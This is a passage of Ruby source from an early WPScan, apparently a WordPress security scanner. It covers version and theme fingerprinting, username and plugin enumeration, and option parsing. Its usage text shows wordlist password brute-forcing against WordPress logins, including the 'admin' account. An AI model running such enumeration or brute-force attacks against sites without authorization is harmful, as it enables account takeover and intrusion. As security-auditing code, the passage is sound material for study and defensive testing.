@uri = URI.parse(add_http_protocol(target_url))
@verbose = options[:verbose]
@wp_content_dir = options[:wp_content_dir]
@wp_plugins_dir = options[:wp_plugins_dir]
Browser.instance(#options.merge(:max_threads => options[:threads]))
:proxy => options[:proxy],
:max_threads => options[:threads]
)
end
# Alias of @uri.to_s
def url
@uri.to_s
end
def login_url
url = @uri.merge("wp-login.php").to_s
# Let's check if the login url is redirected (to https url for example)
if redirection = redirection(url)
url = redirection
end
url
end
# Return the MD5 hash of a 404 page
def error_404_hash
unless @error_404_hash
non_existant_page = Digest::MD5.hexdigest(rand(9999999999).to_s) + ".html"
response = Browser.instance.get(@uri.merge(non_existant_page).to_s)
@error_404_hash = Digest::MD5.hexdigest(response.body)
end
@error_404_hash
end
# return WpTheme
def theme
WpTheme.find(@uri)
end
# return WpVersion
def version
WpVersion.find(@uri)
end
def wp_content_dir
unless @wp_content_dir
index_body = Browser.instance.get(@uri.to_s).body
if index_body[%r{/wp-content/themes/}i]
@wp_content_dir = "wp-content"
else
@wp_content_dir = index_body[%r{(?:href|src)=(?:"|')#{@uri}/?(.*)/themes/.*(?:"|')}i, 1]
end
end
@wp_content_dir
end
def wp_plugins_dir
unless @wp_plugins_dir
@wp_plugins_dir = wp_content_dir() + "/plugins"
end
@wp_plugins_dir
end
end

89
lib/wpscan/wp_theme.rb Normal file
View File

@@ -0,0 +1,89 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpTheme < Vulnerable
attr_reader :name, :style_url, :version
def initialize(name, options = {})
@name = name
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_theme_vulns.xml'
@vulns_xpath = "//theme[@name='#{@name}']/vulnerability"
@style_url = options[:style_url]
@version = options[:version]
end
def version
unless @version
if @style_url
@version = Browser.instance.get(@style_url).body[%r{Version:\s([^\s]+)}i, 1]
end
end
@version
end
def self.find(target_uri)
self.methods.grep(/find_from_/).each do |method_to_call|
theme = self.send(method_to_call, target_uri)
return theme if theme
end
nil
end
def to_s
version = version()
"#{@name}#{' v' + version if version}"
end
def ===(wp_theme)
wp_theme.name === @name and wp_theme.version === @version
end
protected
# Discover the wordpress theme name by parsing the css link rel
def self.find_from_css_link(target_uri)
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
if matches = %r{https?://.*/themes/(.*)/style.css}i.match(response.body)
style_url = matches[0]
theme_name = matches[1]
return new(theme_name, :style_url => style_url)
end
end
# http://code.google.com/p/wpscan/issues/detail?id=141
def self.find_from_wooframework(target_uri)
body = Browser.instance.get(target_uri.to_s).body
regexp = %r{<meta name="generator" content="([^\s"]+)\s?([^"]+)?" />\s+<meta name="generator" content="WooFramework\s?([^"]+)?" />}
if matches = regexp.match(body)
woo_theme_name = matches[1]
woo_theme_version = matches[2]
woo_framework_version = matches[3] # Not used at this time
return new(woo_theme_name, :version => woo_theme_version)
end
end
end

120
lib/wpscan/wp_version.rb Normal file
View File

@@ -0,0 +1,120 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpVersion < Vulnerable
attr_reader :number, :discovery_method
def initialize(number, options = {})
@number = number
@discovery_method = options[:discovery_method]
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_vulns.xml'
@vulns_xpath = "//wordpress[@version='#{@number}']/vulnerability"
end
# Will use all method self.find_from_* to try to detect the version
# Once the version is found, it will return a WpVersion object
# The method_name will be without 'find_from_' and '_' will be replace by ' ' (IE 'meta generator', 'rss generator' etc)
# If the version is not found, nil is returned
#
# The order in which the find_from_* methods are is important, they will be called in the same order
# (find_from_meta_generator, find_from_rss_generator etc)
def self.find(target_uri)
self.methods.grep(/find_from_/).each do |method_to_call|
version = self.send(method_to_call, target_uri)
if version
return new(version, :discovery_method => method_to_call[%r{find_from_(.*)}, 1].gsub('_', ' '))
end
end
nil
end
protected
# Attempts to find the wordpress version from,
# the generator meta tag in the html source.
#
# The meta tag can be removed however it seems,
# that it is reinstated on upgrade.
def self.find_from_meta_generator(target_uri)
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
response.body[%r{name="generator" content="wordpress ([^"]+)"}i, 1]
end
def self.find_from_rss_generator(target_uri)
response = Browser.instance.get(target_uri.merge("feed/").to_s, :follow_location => true, :max_redirects => 2)
response.body[%r{<generator>http://wordpress.org/\?v=([^<]+)</generator>}i, 1]
end
# Uses data/wp_versions.xml to try to identify a
# wordpress version.
#
# It does this by using client side file hashing
# with a scoring system.
#
# The scoring system is a number representing
# the uniqueness of a client side file across
# all versions of wordpress.
#
# Example:
#
# Score - Hash - File - Versions
# 1 - 3e63c08553696a1dedb24b22ef6783c3 - /wp-content/themes/twentyeleven/style.css - 3.2.1
# 2 - 15fc925fd39bb496871e842b2a754c76 - /wp-includes/js/wp-lists.js - 2.6,2.5.1
# 3 - 3f03bce84d1d2a169b4bf4d8a0126e38 - /wp-includes/js/autosave.js - 2.9.2,2.9.1,2.9
#
# /!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)
#
def self.find_from_advanced_fingerprinting(target_uri)
xml = Nokogiri::XML(File.open(DATA_DIR + '/wp_versions.xml')) do |config|
config.noblanks
end
xml.xpath("//file").each do |node|
file_url = target_uri.merge(node.attribute('src').text).to_s
response = Browser.instance.get(file_url)
md5sum = Digest::MD5.hexdigest(response.body)
node.search('hash').each do |hash|
if hash.attribute('md5').text == md5sum
return hash.search('versions').text
end
end
end
nil # Otherwise the data['file'] is returned (issue #107)
end
def self.find_from_readme(target_uri)
Browser.instance.get(target_uri.merge("readme.html").to_s).body[%r{<br />\sversion #{WpVersion.version_pattern}}i, 1]
end
# http://code.google.com/p/wpscan/issues/detail?id=109
def self.find_from_sitemap_generator(target_uri)
Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}, 1]
end
# Used to check if the version is correct : should be numeric with at least one '.'
def self.version_pattern
'(.*(?=.)(?=.*\d)(?=.*[.]).*)'
end
end

View File

@@ -0,0 +1,27 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpVulnerability
attr_accessor :title, :reference, :type
def initialize(title, reference, type)
@title = title
@reference = reference
@type = type
end
end

View File

@@ -0,0 +1,67 @@
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
require_files_from_directory(WPSCAN_LIB_DIR, "**/*.rb")
# wpscan usage
def usage()
script_name = $0
puts "--help or -h for further help."
puts
puts "Examples :"
puts
puts "-Do 'non-intrusive' checks ..."
puts "ruby #{script_name} --url www.example.com"
puts
puts "-Do wordlist password brute force on enumerated users using 50 threads ..."
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --threads 50"
puts
puts "-Do wordlist password brute force on the 'admin' username only ..."
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin"
puts
puts "-Enumerate instaled plugins ..."
puts "ruby #{script_name} --url www.example.com --enumerate p"
puts
puts "-Use a proxy ..."
puts "ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118"
puts
puts "-Use custom content directory ..."
puts "ruby #{script_name} -u www.example.com --wp-content-dir custom-content"
puts
puts "-Update ..."
puts "ruby #{script_name} --update"
puts
puts "See README for further information."
puts
end
# command help
def help()
puts "Help :"
puts
puts "Some values are settable in conf/browser.conf.json :"
puts " user-agent, proxy, threads, cache timeout and request timeout"
puts
puts "--update Update to the latest revision"
puts "--url | -u <target url> The WordPress URL/domain to scan."
puts "--force | -f Forces WPScan to not check if the remote site is running WordPress."
puts "--enumerate | -e [option(s)] Enumeration."
puts " option :"
puts " u usernames from id 1 to 10"
puts " u[10-20] usernames from id 10 to 20 (you must write [] chars)"
puts " p plugins"
puts " p! only vulnerable plugins"
puts " t timthumbs"
puts " Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins"
puts " If no option is supplied, the default is 'tup!'"
puts
puts "--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not"
puts "--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed"
puts "--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed"
puts "--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)"
puts "--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute."
puts "--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)"
puts "--username | -U <username> Only brute force the supplied username."
puts "--help | -h This help screen."
puts "--verbose | -v Verbose output."
puts
end

View File

@@ -0,0 +1,204 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpscanOptions
ACCESSOR_OPTIONS = [
:enumerate_plugins,
:enumerate_only_vulnerable_plugins,
:enumerate_timthumbs,
:enumerate_usernames,
:enumerate_usernames_range,
:proxy,
:threads,
:url,
:wordlist,
:force,
:update,
:verbose,
:username,
:password,
:follow_redirection,
:wp_content_dir,
:wp_plugins_dir,
:help
]
attr_accessor *ACCESSOR_OPTIONS
def initialize
end
def url=(url)
raise "Empty URL given" if !url
@url = URI.parse(add_http_protocol(url)).to_s
end
def threads=(threads)
@threads = threads.is_a?(Integer) ? threads : threads.to_i
end
def wordlist=(wordlist)
if File.exists?(wordlist)
@wordlist = wordlist
else
raise "The file #{wordlist} does not exist"
end
end
def proxy=(proxy)
if proxy.index(':') == nil
raise "Invalid proxy format. Should be host:port."
else
@proxy = proxy
end
end
def enumerate_plugins=(enumerate_plugins)
if enumerate_plugins === true and @enumerate_only_vulnerable_plugins === true
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
else
@enumerate_plugins = enumerate_plugins
end
end
def enumerate_only_vulnerable_plugins=(enumerate_only_vulnerable_plugins)
if enumerate_only_vulnerable_plugins === true and @enumerate_plugins === true
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
else
@enumerate_only_vulnerable_plugins = enumerate_only_vulnerable_plugins
end
end
def has_options?
!to_h.empty?
end
# return Hash
def to_h
options = {}
ACCESSOR_OPTIONS.each do |option|
instance_variable = instance_variable_get("@#{option}")
unless instance_variable.nil?
options[:"#{option}"] = instance_variable
end
end
options
end
# Will load the options from ARGV
# return WpscanOptions
def self.load_from_arguments
wpscan_options = WpscanOptions.new
if ARGV.length > 0
WpscanOptions.get_opt_long.each do |opt, arg|
wpscan_options.set_option_from_cli(opt, arg)
end
end
wpscan_options
end
# string cli_option : --url, -u, --proxy etc
# string cli_value : the option value
def set_option_from_cli(cli_option, cli_value)
if WpscanOptions.is_long_option?(cli_option)
self.send(
WpscanOptions.option_to_instance_variable_setter(cli_option),
cli_value
)
elsif cli_option === "--enumerate" # Special cases
# Default value if no argument is given
cli_value = "tup!" if cli_value.length == 0
enumerate_options_from_string(cli_value)
else
raise "Unknow option : #{cli_option} with value #{cli_value}"
end
end
# Will set enumerate_* from the string value
# IE : if value = p! => :enumerate_only_vulnerable_plugins will be set to true
# multiple enumeration are possible : 'up' => :enumerate_usernames and :enumerate_plugins
# Special case for usernames, a range is possible : u[1-10] will enumerate usernames from 1 to 10
def enumerate_options_from_string(value)
# Usage of self is mandatory because there are overridden setters
self.enumerate_only_vulnerable_plugins = true if value =~ /p!/
self.enumerate_plugins = true if value =~ /p(?!!)/
@enumerate_timthumbs = true if value =~ /t/
if value =~ /u/
@enumerate_usernames = true
# Check for usernames range
if matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
@enumerate_usernames_range = (matches[1].to_i..matches[2].to_i)
end
end
end
protected
# Even if a short option is given (IE : -u), the long one will be returned (IE : --url)
def self.get_opt_long
GetoptLong.new(
["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
["--threads", "-t",GetoptLong::REQUIRED_ARGUMENT],
["--force", "-f",GetoptLong::NO_ARGUMENT],
["--help", "-h", GetoptLong::NO_ARGUMENT],
["--verbose", "-v", GetoptLong::NO_ARGUMENT] ,
["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
["--update", GetoptLong::NO_ARGUMENT],
["--follow-redirection", GetoptLong::NO_ARGUMENT],
["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT]
)
end
def self.is_long_option?(option)
ACCESSOR_OPTIONS.include?(:"#{WpscanOptions.clean_option(option)}")
end
# Will removed the '-' or '--' chars at the beginning of option
# and replace any remaining '-' by '_'
#
# param string option
# return string
def self.clean_option(option)
cleaned_option = option.gsub(/^--?/, '')
cleaned_option.gsub(/-/, '_')
end
def self.option_to_instance_variable_setter(option)
cleaned_option = WpscanOptions.clean_option(option)
option_syms = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
option_syms.length == 1 ? :"#{option_syms.at(0)}=" : nil
end
end